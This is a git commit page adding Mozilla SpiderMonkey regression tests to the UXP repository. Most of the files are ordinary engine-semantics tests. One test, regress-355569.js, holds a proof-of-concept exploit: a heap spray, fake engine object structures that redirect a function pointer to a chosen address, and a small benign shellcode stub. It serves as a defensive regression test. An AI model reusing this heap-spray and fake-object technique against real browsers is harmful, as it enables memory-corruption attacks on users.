summaryrefslogtreecommitdiffstats
path: root/js/src/tests/js1_8_5/regress
diff options
context:
space:
mode:
authorMatt A. Tobin <mattatobin@localhost.localdomain>2018-02-02 04:16:08 -0500
committerMatt A. Tobin <mattatobin@localhost.localdomain>2018-02-02 04:16:08 -0500
commit5f8de423f190bbb79a62f804151bc24824fa32d8 (patch)
tree10027f336435511475e392454359edea8e25895d /js/src/tests/js1_8_5/regress
parent49ee0794b5d912db1f95dce6eb52d781dc210db5 (diff)
downloadUXP-5f8de423f190bbb79a62f804151bc24824fa32d8.tar
UXP-5f8de423f190bbb79a62f804151bc24824fa32d8.tar.gz
UXP-5f8de423f190bbb79a62f804151bc24824fa32d8.tar.lz
UXP-5f8de423f190bbb79a62f804151bc24824fa32d8.tar.xz
UXP-5f8de423f190bbb79a62f804151bc24824fa32d8.zip
Add m-esr52 at 52.6.0
Diffstat (limited to 'js/src/tests/js1_8_5/regress')
-rw-r--r--js/src/tests/js1_8_5/regress/browser.js0
-rw-r--r--js/src/tests/js1_8_5/regress/regress-355569.js127
-rw-r--r--js/src/tests/js1_8_5/regress/regress-373843.js13
-rw-r--r--js/src/tests/js1_8_5/regress/regress-383902.js41
-rw-r--r--js/src/tests/js1_8_5/regress/regress-469758.js14
-rw-r--r--js/src/tests/js1_8_5/regress/regress-477053.js25
-rw-r--r--js/src/tests/js1_8_5/regress/regress-500528.js22
-rw-r--r--js/src/tests/js1_8_5/regress/regress-533876.js23
-rw-r--r--js/src/tests/js1_8_5/regress/regress-541255-3.js13
-rw-r--r--js/src/tests/js1_8_5/regress/regress-541455.js12
-rw-r--r--js/src/tests/js1_8_5/regress/regress-548276.js10
-rw-r--r--js/src/tests/js1_8_5/regress/regress-551763-0.js27
-rw-r--r--js/src/tests/js1_8_5/regress/regress-551763-1.js7
-rw-r--r--js/src/tests/js1_8_5/regress/regress-551763-2.js6
-rw-r--r--js/src/tests/js1_8_5/regress/regress-552432.js16
-rw-r--r--js/src/tests/js1_8_5/regress/regress-553778.js16
-rw-r--r--js/src/tests/js1_8_5/regress/regress-554955-1.js33
-rw-r--r--js/src/tests/js1_8_5/regress/regress-554955-2.js29
-rw-r--r--js/src/tests/js1_8_5/regress/regress-554955-3.js32
-rw-r--r--js/src/tests/js1_8_5/regress/regress-554955-4.js37
-rw-r--r--js/src/tests/js1_8_5/regress/regress-554955-5.js30
-rw-r--r--js/src/tests/js1_8_5/regress/regress-554955-6.js50
-rw-r--r--js/src/tests/js1_8_5/regress/regress-555246-0.js14
-rw-r--r--js/src/tests/js1_8_5/regress/regress-555246-1.js18
-rw-r--r--js/src/tests/js1_8_5/regress/regress-559402-1.js22
-rw-r--r--js/src/tests/js1_8_5/regress/regress-559402-2.js8
-rw-r--r--js/src/tests/js1_8_5/regress/regress-559438.js10
-rw-r--r--js/src/tests/js1_8_5/regress/regress-560998-1.js10
-rw-r--r--js/src/tests/js1_8_5/regress/regress-560998-2.js10
-rw-r--r--js/src/tests/js1_8_5/regress/regress-561031.js1830
-rw-r--r--js/src/tests/js1_8_5/regress/regress-563210.js28
-rw-r--r--js/src/tests/js1_8_5/regress/regress-563221.js8
-rw-r--r--js/src/tests/js1_8_5/regress/regress-566549.js20
-rw-r--r--js/src/tests/js1_8_5/regress/regress-567152.js12
-rw-r--r--js/src/tests/js1_8_5/regress/regress-569306.js10
-rw-r--r--js/src/tests/js1_8_5/regress/regress-571014.js32
-rw-r--r--js/src/tests/js1_8_5/regress/regress-573875.js21
-rw-r--r--js/src/tests/js1_8_5/regress/regress-577648-1.js87
-rw-r--r--js/src/tests/js1_8_5/regress/regress-577648-2.js12
-rw-r--r--js/src/tests/js1_8_5/regress/regress-583429.js7
-rw-r--r--js/src/tests/js1_8_5/regress/regress-584355.js7
-rw-r--r--js/src/tests/js1_8_5/regress/regress-584648.js16
-rw-r--r--js/src/tests/js1_8_5/regress/regress-585257.js7
-rw-r--r--js/src/tests/js1_8_5/regress/regress-586482-1.js25
-rw-r--r--js/src/tests/js1_8_5/regress/regress-586482-2.js22
-rw-r--r--js/src/tests/js1_8_5/regress/regress-586482-3.js27
-rw-r--r--js/src/tests/js1_8_5/regress/regress-586482-4.js25
-rw-r--r--js/src/tests/js1_8_5/regress/regress-586482-5.js18
-rw-r--r--js/src/tests/js1_8_5/regress/regress-588339.js5
-rw-r--r--js/src/tests/js1_8_5/regress/regress-591846.js64
-rw-r--r--js/src/tests/js1_8_5/regress/regress-591897.js14
-rw-r--r--js/src/tests/js1_8_5/regress/regress-592202-3.js28
-rw-r--r--js/src/tests/js1_8_5/regress/regress-592202-4.js31
-rw-r--r--js/src/tests/js1_8_5/regress/regress-592556-c35.js20
-rw-r--r--js/src/tests/js1_8_5/regress/regress-593256.js21
-rw-r--r--js/src/tests/js1_8_5/regress/regress-595230-2.js10
-rw-r--r--js/src/tests/js1_8_5/regress/regress-595365-1.js31
-rw-r--r--js/src/tests/js1_8_5/regress/regress-596103.js13
-rw-r--r--js/src/tests/js1_8_5/regress/regress-596805-1.js14
-rw-r--r--js/src/tests/js1_8_5/regress/regress-596805-2.js27
-rw-r--r--js/src/tests/js1_8_5/regress/regress-597945-1.js24
-rw-r--r--js/src/tests/js1_8_5/regress/regress-597945-2.js13
-rw-r--r--js/src/tests/js1_8_5/regress/regress-598176.js27
-rw-r--r--js/src/tests/js1_8_5/regress/regress-600067.js16
-rw-r--r--js/src/tests/js1_8_5/regress/regress-601399.js25
-rw-r--r--js/src/tests/js1_8_5/regress/regress-602621.js15
-rw-r--r--js/src/tests/js1_8_5/regress/regress-607799.js2
-rw-r--r--js/src/tests/js1_8_5/regress/regress-607863.js14
-rw-r--r--js/src/tests/js1_8_5/regress/regress-609617.js85
-rw-r--r--js/src/tests/js1_8_5/regress/regress-610026.js48
-rw-r--r--js/src/tests/js1_8_5/regress/regress-614714.js12
-rw-r--r--js/src/tests/js1_8_5/regress/regress-617405-1.js11
-rw-r--r--js/src/tests/js1_8_5/regress/regress-617405-2.js17
-rw-r--r--js/src/tests/js1_8_5/regress/regress-618572.js37
-rw-r--r--js/src/tests/js1_8_5/regress/regress-619003-1.js20
-rw-r--r--js/src/tests/js1_8_5/regress/regress-619003-2.js9
-rw-r--r--js/src/tests/js1_8_5/regress/regress-620376-1.js24
-rw-r--r--js/src/tests/js1_8_5/regress/regress-621814.js13
-rw-r--r--js/src/tests/js1_8_5/regress/regress-624199.js17
-rw-r--r--js/src/tests/js1_8_5/regress/regress-624547.js16
-rw-r--r--js/src/tests/js1_8_5/regress/regress-624968.js9
-rw-r--r--js/src/tests/js1_8_5/regress/regress-626436.js7
-rw-r--r--js/src/tests/js1_8_5/regress/regress-633741.js18
-rw-r--r--js/src/tests/js1_8_5/regress/regress-634210-1.js11
-rw-r--r--js/src/tests/js1_8_5/regress/regress-634210-2.js13
-rw-r--r--js/src/tests/js1_8_5/regress/regress-634210-3.js13
-rw-r--r--js/src/tests/js1_8_5/regress/regress-634210-4.js20
-rw-r--r--js/src/tests/js1_8_5/regress/regress-635195.js8
-rw-r--r--js/src/tests/js1_8_5/regress/regress-636364.js29
-rw-r--r--js/src/tests/js1_8_5/regress/regress-636394.js10
-rw-r--r--js/src/tests/js1_8_5/regress/regress-640075.js15
-rw-r--r--js/src/tests/js1_8_5/regress/regress-642247.js13
-rw-r--r--js/src/tests/js1_8_5/regress/regress-643222.js12
-rw-r--r--js/src/tests/js1_8_5/regress/regress-646820-1.js9
-rw-r--r--js/src/tests/js1_8_5/regress/regress-646820-2.js11
-rw-r--r--js/src/tests/js1_8_5/regress/regress-646820-3.js9
-rw-r--r--js/src/tests/js1_8_5/regress/regress-665355.js16
-rw-r--r--js/src/tests/js1_8_5/regress/regress-672892.js8
-rw-r--r--js/src/tests/js1_8_5/regress/regress-672893.js18
-rw-r--r--js/src/tests/js1_8_5/regress/regress-694306.js21
-rw-r--r--js/src/tests/js1_8_5/regress/regress-698028-1.js24
-rw-r--r--js/src/tests/js1_8_5/regress/regress-698028-2.js29
-rw-r--r--js/src/tests/js1_8_5/regress/regress-698028-3.js15
-rw-r--r--js/src/tests/js1_8_5/regress/regress-699682.js29
-rw-r--r--js/src/tests/js1_8_5/regress/regress-736792.js23
-rw-r--r--js/src/tests/js1_8_5/regress/regress-810525.js25
-rw-r--r--js/src/tests/js1_8_5/regress/regress-yarr-regexp.js20
-rw-r--r--js/src/tests/js1_8_5/regress/shell.js0
108 files changed, 4047 insertions, 0 deletions
diff --git a/js/src/tests/js1_8_5/regress/browser.js b/js/src/tests/js1_8_5/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/browser.js
diff --git a/js/src/tests/js1_8_5/regress/regress-355569.js b/js/src/tests/js1_8_5/regress/regress-355569.js
new file mode 100644
index 000000000..b14c83cb6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-355569.js
@@ -0,0 +1,127 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var bug = 355569;
+var actual = '';
+var expect = '';
+
+printBugNumber (bug);
+printStatus (summary);
+
+var targetAddress = 0x12030010;
+var sprayParams = {
+ chunkSize: 16 * 1024 * 1024,
+ chunkCount: 16,
+ chunkMarker: 0xdeadface,
+ chunkAlign: 0x1000,
+ reservedSize: 1024
+};
+
+function makeExploitCode() {
+ /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+ return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+}
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function packData(template, A) {
+ var n = 0, result = "", vl;
+ for(var i = 0; i < template.length; i++) {
+ var ch = template.charAt(i);
+ if(ch == "s" || ch == "S") {
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
+ } else if(ch == "l" || ch == "L") { // XXX endian
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
+ } else if(ch == "=") {
+ result += String(A[n++]);
+ }
+ }
+ return result;
+}
+function buildStructure(worker, address) {
+ var offs = {}, result = "", context = {
+ append: function(k, v) { offs[k] = result.length * 2; result += v; },
+ address: function(k) { return address + ((k && offs[k]) || 0); }
+ }; worker(context); result = ""; worker(context); return result;
+}
+function repeatToLength(s, L) {
+ if(L <= s.length) { return s.substring(0, L); }
+ while(s.length <= L/2) { s += s; }
+ return s + s.substring(0, L - s.length);
+}
+function sprayData(data, params, rooter) {
+ var marker = packData("L", [ params.chunkMarker ]);
+ data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
+ data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
+ for(var i = 0; i < params.chunkCount; i++) {
+ rooter[i] = marker + data + i;
+ }
+}
+
+function T_JSObject(map, slots)
+{ return packData("LL", arguments); }
+function T_JSObjectMap(nrefs, ops, nslots, freeslot)
+{ return packData("LLLL", arguments); }
+function T_JSObjectOps(
+ newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
+ getProperty, setProperty, getAttributes, setAttributes,
+ deleteProperty, defaultValue, enumerate, checkAccess,
+ thisObject, dropProperty, call, construct,
+ xdrObject, hasInstance, setProto, setParent,
+ mark, clear, getRequiredSlot, setRequiredSlot
+) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
+
+function T_JSXML_LIST(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ xml_target, xml_targetprop
+) { return packData("LLLLSS LLLL LL", arguments); }
+function T_JSXML_ELEMENT(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ nses_length, nses_capacity, nses_vector, nses_cursors,
+ atrs_length, atrs_capacity, atrs_vector, atrs_cursors
+) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function makeExploitData(address) {
+ return buildStructure(function(ctx) {
+ ctx.append("xml-list",
+ T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
+ ctx.append("xml-kids-vector",
+ packData("L", [ ctx.address("xml-element") ]));
+ ctx.append("xml-element",
+ T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
+ ctx.append("object",
+ T_JSObject(ctx.address("object-map"), 0));
+ ctx.append("object-map",
+ T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
+ ctx.append("object-ops",
+ T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
+ ctx.append("exploit-code",
+ makeExploitCode(ctx));
+ }, address);
+}
+
+function exploit() {
+ sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
+ var numobj = new Number(targetAddress >> 1);
+ printStatus("probably not exploitable");
+}
+
+try
+{
+ exploit();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/js1_8_5/regress/regress-373843.js b/js/src/tests/js1_8_5/regress/regress-373843.js
new file mode 100644
index 000000000..677e33353
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-373843.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof disassemble != 'undefined')
+{
+ var func = disassemble(function() { return "c\\d"; })
+
+ // The disassembled function will contain a bytecode "string" with the content of the string next to it.
+ // Check if that string isn't over-escaped i.e. \\ isn't escaped to \\\\ .
+ assertEq(func.indexOf("\\\\\\\\"), -1)
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-383902.js b/js/src/tests/js1_8_5/regress/regress-383902.js
new file mode 100644
index 000000000..ed9559746
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-383902.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var c = 0;
+
+function f(a) {
+ const b = a;
+ try {
+ eval('"use strict"; b = 1 + a; c = 1');
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq(e.name, 'TypeError');
+ assertEq(0, c);
+ assertEq(a, b);
+ }
+}
+
+var w = 42;
+f(w);
+
+c = 2;
+try {
+ eval('"use strict"; function g(x) { const y = x; y = 1 + x; } c = 3');
+} catch (e) {
+ assertEq(0, 1);
+}
+
+c = 4;
+try {
+ eval('"use strict"; const z = w; z = 1 + w; c = 5');
+ assertEq(0, 1);
+} catch (e) {
+ assertEq(e.name, 'TypeError');
+ assertEq(4, c);
+ assertEq('z' in this, false);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-469758.js b/js/src/tests/js1_8_5/regress/regress-469758.js
new file mode 100644
index 000000000..27fa1ed8a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-469758.js
@@ -0,0 +1,14 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var err;
+try {
+ {let i=1}
+ {let j=1; [][j][2]}
+} catch (e) {
+ err = e;
+}
+assertEq(err instanceof TypeError, true);
+assertEq(err.message, "[][j] is undefined");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-477053.js b/js/src/tests/js1_8_5/regress/regress-477053.js
new file mode 100644
index 000000000..934a502cc
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-477053.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var summary = 'Do not assert: v.isString()';
+var BUGNUMBER = 477053;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+
+try
+{
+ function f() { eval("with(arguments)throw [];"); }
+ f();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/js1_8_5/regress/regress-500528.js b/js/src/tests/js1_8_5/regress/regress-500528.js
new file mode 100644
index 000000000..bf2908e20
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-500528.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+// This test appeared in bug 497789 comment 78.
+
+var a = {x: 'a'},
+ b1 = Object.create(a),
+ c1 = Object.create(b1),
+ b2 = Object.create(a),
+ c2 = Object.create(b2);
+
+b2.x = 'b'; // foreshadowing a.x
+
+var s = '';
+for each (var obj in [c1, c2])
+ s += obj.x;
+assertEq(s, 'ab');
+
+reportCompare(0, 0, "Property cache soundness: objects with the same shape but different prototypes.");
diff --git a/js/src/tests/js1_8_5/regress/regress-533876.js b/js/src/tests/js1_8_5/regress/regress-533876.js
new file mode 100644
index 000000000..e44bc8a4f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-533876.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+var savedEval = eval;
+var x = [0];
+eval();
+
+x.__proto__ = this; // x has non-dictionary scope
+try {
+ DIE;
+} catch(e) {
+}
+
+delete eval; // force dictionary scope for global
+gc();
+eval = savedEval;
+var f = eval("(function () { return /x/; })");
+x.watch('x', f); // clone property from global to x, including SPROP_IN_DICTIONARY flag
+
+reportCompare("ok", "ok", "bug 533876");
diff --git a/js/src/tests/js1_8_5/regress/regress-541255-3.js b/js/src/tests/js1_8_5/regress/regress-541255-3.js
new file mode 100644
index 000000000..e352429b2
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-541255-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(y) {
+ eval("{ let z=2, w=y; (function () { w.p = 7; })(); }");
+}
+var x = {};
+f(x);
+assertEq(x.p, 7);
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-541455.js b/js/src/tests/js1_8_5/regress/regress-541455.js
new file mode 100644
index 000000000..7ee3a4015
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-541455.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(x) { return eval('"mumble"; x + 42'); }
+
+var expect = true;
+var actual = ('' + f).indexOf("mumble") >= 0;
+
+reportCompare(expect, actual, "unknown directive in eval code wrongly dropped");
diff --git a/js/src/tests/js1_8_5/regress/regress-548276.js b/js/src/tests/js1_8_5/regress/regress-548276.js
new file mode 100644
index 000000000..5e306eba1
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-548276.js
@@ -0,0 +1,10 @@
+// |reftest| skip
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+var obj = {};
+obj.__defineSetter__("x", function() {});
+obj.watch("x", function() {});
+obj.__defineSetter__("x", /a/);
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-0.js b/js/src/tests/js1_8_5/regress/regress-551763-0.js
new file mode 100644
index 000000000..6aeceac23
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-0.js
@@ -0,0 +1,27 @@
+(function() {
+ var o = {'arguments': 42};
+ with (o) { // Definitely forces heavyweight.
+ // Note syntax is not a property access.
+ reportCompare(delete arguments, true,
+ "arguments property deletion within with block");
+ }
+ reportCompare('arguments' in o, false,
+ "property deletion observable");
+})();
+
+(function() {
+ var o = {'arguments': 42};
+ delete o.arguments;
+ reportCompare('arguments' in o, false,
+ "arguments property deletion with property access syntax");
+})();
+
+(function() {
+ var arguments = 42; // Forces heavyweight.
+ reportCompare(delete arguments, false,
+ "arguments variable");
+})();
+
+(function() {
+ reportCompare(delete arguments, false, "arguments object");
+})();
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-1.js b/js/src/tests/js1_8_5/regress/regress-551763-1.js
new file mode 100644
index 000000000..aced2eb7a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-1.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(xulRuntime.shell)
+// skip in the shell because 'arguments' is defined as a shell utility function
+
+/* Check we can delete arguments in the global space. */
+arguments = 42;
+reportCompare(delete arguments, true, "arguments defined as global");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-2.js b/js/src/tests/js1_8_5/regress/regress-551763-2.js
new file mode 100644
index 000000000..500488818
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-2.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(xulRuntime.shell)
+// skip in the shell because 'arguments' is defined as a shell utility function
+
+/* Check we can't delete a var-declared arguments in global space. */
+var arguments = 42;
+reportCompare(delete arguments, false, "arguments defined as global variable");
diff --git a/js/src/tests/js1_8_5/regress/regress-552432.js b/js/src/tests/js1_8_5/regress/regress-552432.js
new file mode 100644
index 000000000..615fd0500
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-552432.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+(function (y) {
+ arguments.y = 2;
+ var x = Object.create(arguments);
+ x[0] = 3;
+ assertEq(x[0], 3);
+ assertEq(x.y, 2);
+ assertEq(y, 1);
+})(1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-553778.js b/js/src/tests/js1_8_5/regress/regress-553778.js
new file mode 100644
index 000000000..797165e54
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-553778.js
@@ -0,0 +1,16 @@
+/*
+ * This should compile without triggering the following assertion:
+ *
+ * Assertion failure: cg->fun->u.i.skipmin <= skip, at ../jsemit.cpp:2346
+ */
+
+function f() {
+ function g() {
+ function h() {
+ g; x;
+ }
+ var [x] = [];
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-1.js b/js/src/tests/js1_8_5/regress/regress-554955-1.js
new file mode 100644
index 000000000..80c26b088
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-1.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ var d;
+ {
+ let c = 3;
+ d = function() { a; }; // force Block object to be cloned
+ with({}) {}; // repel JägerMonkey
+ return b; // lookup occurs in scope of Block
+ }
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1(0);
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(0), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-2.js b/js/src/tests/js1_8_5/regress/regress-554955-2.js
new file mode 100644
index 000000000..659b5c877
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ with({}) {}; // repel JägerMonkey
+ eval(a);
+ return b;
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use
+ * the global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-3.js b/js/src/tests/js1_8_5/regress/regress-554955-3.js
new file mode 100644
index 000000000..c4e1a60ce
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-3.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ with({}) {}; // repel JägerMonkey
+ eval(a);
+ {
+ let c = 3;
+ return b;
+ };
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-4.js b/js/src/tests/js1_8_5/regress/regress-554955-4.js
new file mode 100644
index 000000000..09713c2f9
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-4.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {
+ return function(a) {
+ // This eval must take place before the block is cloned, when the
+ // call object is still not marked as a delegate. The scope chain
+ // purge for the JSOP_DEFVAR will not change the global's shape,
+ // and the property cache entry will remain valid.
+ eval(a);
+ {
+ let c = 3;
+ // This eval forces the block to be cloned, so its shape gets
+ // used as the property cache key shape.
+ eval('');
+ return b;
+ };
+ };
+}
+
+var b = 1;
+var g1 = f();
+var g2 = f();
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2('var b=2'), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-5.js b/js/src/tests/js1_8_5/regress/regress-554955-5.js
new file mode 100644
index 000000000..dc8769a1f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-5.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ if (s) {
+ function b() { }
+ }
+ return function(a) {
+ eval(a);
+ return b;
+ };
+}
+
+var b = 1;
+var g1 = f(false);
+var g2 = f(true);
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(typeof g2(''), "function");
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-6.js b/js/src/tests/js1_8_5/regress/regress-554955-6.js
new file mode 100644
index 000000000..73faaefb0
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-6.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var v="global";
+function f(a) {
+ // This eval could extend f's call object. However, the call object has
+ // not yet been marked as a delegate at this point, so no scope chain
+ // purge takes place when it is extended.
+ eval(a);
+ {
+ let b=3;
+ // This eval causes the cloned block object to be added to the
+ // scope chain. The block needs a unique shape: its parent call
+ // could acquire bindings for anything without affecting the global
+ // object's shape, so it's up to the block's shape to mismatch all
+ // property cache entries for prior blocks.
+ eval("");
+ return v;
+ };
+}
+
+// Call the function once, to cache a reference to the global v from within
+// f's lexical block.
+assertEq("global", f(""));
+
+// Call the function again, adding a binding to the call, and ensure that
+// we do not see any property cache entry created by the previous reference
+// that would direct us to the global definition.
+assertEq("local", f("var v='local'"));
+
+// Similarly,but with a doubly-nested block; make sure everyone gets marked.
+function f2(a) {
+ eval(a);
+ {
+ let b=3;
+ {
+ let c=4;
+ eval("");
+ return v;
+ };
+ };
+}
+
+assertEq("global", f2(""));
+assertEq("local", f2("var v='local'"));
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-555246-0.js b/js/src/tests/js1_8_5/regress/regress-555246-0.js
new file mode 100644
index 000000000..2a4efe052
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-555246-0.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+ var cx = evalcx("");
+ evalcx("function f() { return this; }", cx);
+ var f = cx.f;
+ assertEq(f(), cx);
+}
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-555246-1.js b/js/src/tests/js1_8_5/regress/regress-555246-1.js
new file mode 100644
index 000000000..c9bd4d0f3
